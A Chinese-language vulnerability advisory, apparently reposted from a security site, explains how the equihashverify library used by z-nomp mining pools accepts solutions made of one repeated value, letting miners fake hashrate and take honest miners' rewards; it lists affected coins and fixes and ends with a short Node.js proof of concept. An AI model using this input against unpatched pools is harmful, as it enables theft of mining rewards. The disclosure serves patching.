压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

黑客偽造算力盜取多種數(shù)字貨幣

經(jīng)過(guò)分析,我們發(fā)現(xiàn)此類(lèi)攻擊利用了一個(gè)equihash算法(equihashverify: https://github.com/joshuayabut/equihashverify)實(shí)現(xiàn)上的邏輯漏洞。該漏洞可導(dǎo)致惡意礦工向z-nomp礦池提交虛假share,從而偽造自己的算力。從礦池中竊取誠(chéng)實(shí)礦工的挖礦成果。由于目前許多新生數(shù)字貨幣均使用equihash算法進(jìn)行工作量證明,且多數(shù)equihash礦池依賴(lài)于該equihashverify進(jìn)行礦工算力校驗(yàn),所以該漏洞嚴(yán)重已經(jīng)影響多個(gè)數(shù)字貨幣礦池。

Equihash 是一種工作量證明算法,由 Alex Biryukov 以及Dmitry Khovratovich設(shè)計(jì)而成,以一種計(jì)算機(jī)科學(xué)以及加密學(xué)概念(叫做廣義生日悖論)為基礎(chǔ)。 Equihash是一種需要高內(nèi)存的工作量證明,這意味你能挖到多少幣主要取決于你的設(shè)備內(nèi)存的大小。在短期內(nèi)要?jiǎng)?chuàng)建一個(gè)低成本的挖礦定制硬件(專(zhuān)用集成電路)幾乎不可能,所以Equihash被認(rèn)為可以構(gòu)造更去中心化的一種POW算法。z-nomp在對(duì)Equihash工作量證明進(jìn)行驗(yàn)證的時(shí)候使用了equihashverify依賴(lài)庫(kù)來(lái)對(duì)礦工提交算力證明份額進(jìn)行校驗(yàn)。equihashverify對(duì)Equihash解驗(yàn)證的錯(cuò)誤實(shí)現(xiàn),導(dǎo)致了該漏洞。

下面我們來(lái)看看漏洞:

在equi.c文件中,在函數(shù)bool verifyEH(const char *hdr, const char *soln)中,hdr是區(qū)塊頭信息,參數(shù)soln是礦工求解出來(lái)的{Xij}序列。verifyEH函數(shù)的作用,就是用來(lái)判斷{Xij}是否是由區(qū)塊頭信息hdr產(chǎn)生的廣義生日悖論問(wèn)題的正確解。

t01770cf10f9df3f359

Equihash算法的整體實(shí)現(xiàn)可以理解為將Xij序列帶入到

Vhash=hash(hdr,x1)^ hash(hdr,x2) ^…^. hash(hdr,x512);

然后判斷Vhash的結(jié)果是否全部為0。如果全部為0,則返回true;如果全部不為0,則返回false。這看似正確的實(shí)現(xiàn),但實(shí)際上編程人員沒(méi)有考慮到:在廣義生日悖論問(wèn)題中,所有的xij必須是不相同的。而這里并沒(méi)有檢查是否由重復(fù)。對(duì)于任意區(qū)塊頭hdr,攻擊者只要讓所有的 xi全部相等,則得到結(jié)果:

hash(hdr,x1)=hash(hdr,x2) =…= hash(hdr,x512)

由于這里剛好有偶數(shù)個(gè),那么可以得到:

Vhash=hash(hdr,x1)^ hash(hdr,x2) ^…^. hash(hdr,x512)=0

也就是說(shuō),對(duì)于任意hdr,攻擊者隨機(jī)選擇一個(gè)21bit的數(shù)x,讓后讓soln={x,x,x,…,x},就可以繞過(guò)廣義生日悖論問(wèn)題驗(yàn)證,從而實(shí)現(xiàn)高達(dá)數(shù)十萬(wàn)倍的算力數(shù)虛構(gòu)。由于equihashverify實(shí)現(xiàn)中缺乏equihash論文中的多種其他校驗(yàn)算法,所以除了這個(gè)簡(jiǎn)單的碰撞攻擊之外,該代碼還存在其他安全問(wèn)題。密碼算法的實(shí)現(xiàn)應(yīng)嚴(yán)格按照算法標(biāo)準(zhǔn)來(lái)進(jìn)行,否則就容易出現(xiàn)安全漏洞。Equihash算法標(biāo)準(zhǔn)詳細(xì)細(xì)節(jié)可參考論文:https://www.cryptolux.org/images/b/b9/Equihash.pdf

漏洞影響范圍

z-nomp是目前是目前市場(chǎng)占有率最高的equihash礦池。此次偽造算力攻擊主要針對(duì)各個(gè)z-nomp或基于z-nomp的礦池實(shí)例,至少影響了包括Zcash、Bitcoin Gold、Zencash、Bitcoin Private、Zclassic、Komodo、Hush、BitcoinZ、Bitcoin Candy、NewBTG等多種數(shù)字貨幣。

當(dāng)前修復(fù)情況

目前,z-nomp已經(jīng)將了equihashverify庫(kù)的的依賴(lài)換成了官方認(rèn)證的版本(https://github.com/zencashofficial/equihashverify.git)。zencash官方已在上周發(fā)布更新公告:https://blog.zencash.com/update-for-the-equihash-mining-application-z-nomp/。 Bitcoin Gold官方也更新了新的equihashjs-verify。Zclassic/BTG/Zcash等主流數(shù)字貨幣和主流礦場(chǎng)均已修復(fù)了該實(shí)現(xiàn)漏洞。但由于數(shù)字貨幣分叉幣和代碼fork非常多,所以仍存在眾多小數(shù)字貨幣和小礦池未修復(fù)該漏洞,360建議各數(shù)字貨幣社區(qū)和礦池及時(shí)更新。

解決方案

可使用目前zencash官方的equihash解校驗(yàn)器的來(lái)進(jìn)行廣義生日問(wèn)題解校驗(yàn)。https://github.com/zencashofficial/equihashverify

這里提供一個(gè)簡(jiǎn)單的POC:

var ev = require(‘bindings’)(‘equihashverify.node’);

header = Buffer(‘0400000008e9694cc2120ec1b5733cc12687b609058eec4f7046a521ad1d1e3049b400003e7420ed6f40659de0305ef9b7ec037f4380ed9848bc1c015691c90aa16ff3930000000000000000000000000000000000000000000000000000000000000000c9310d5874e0001f000000000000000000000000000000010b000000000000000000000000000040’, ‘hex’);

soln = Buffer(‘0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f’, ‘hex’);

console.log(ev.verify(header, soln));

原文:https://www.anquanke.com/post/id/106025

上一篇:ThinkPHP 框架SQL注入技術(shù)分析

下一篇:谷歌披露微軟 Windows 鎖定策略中的 0day 漏洞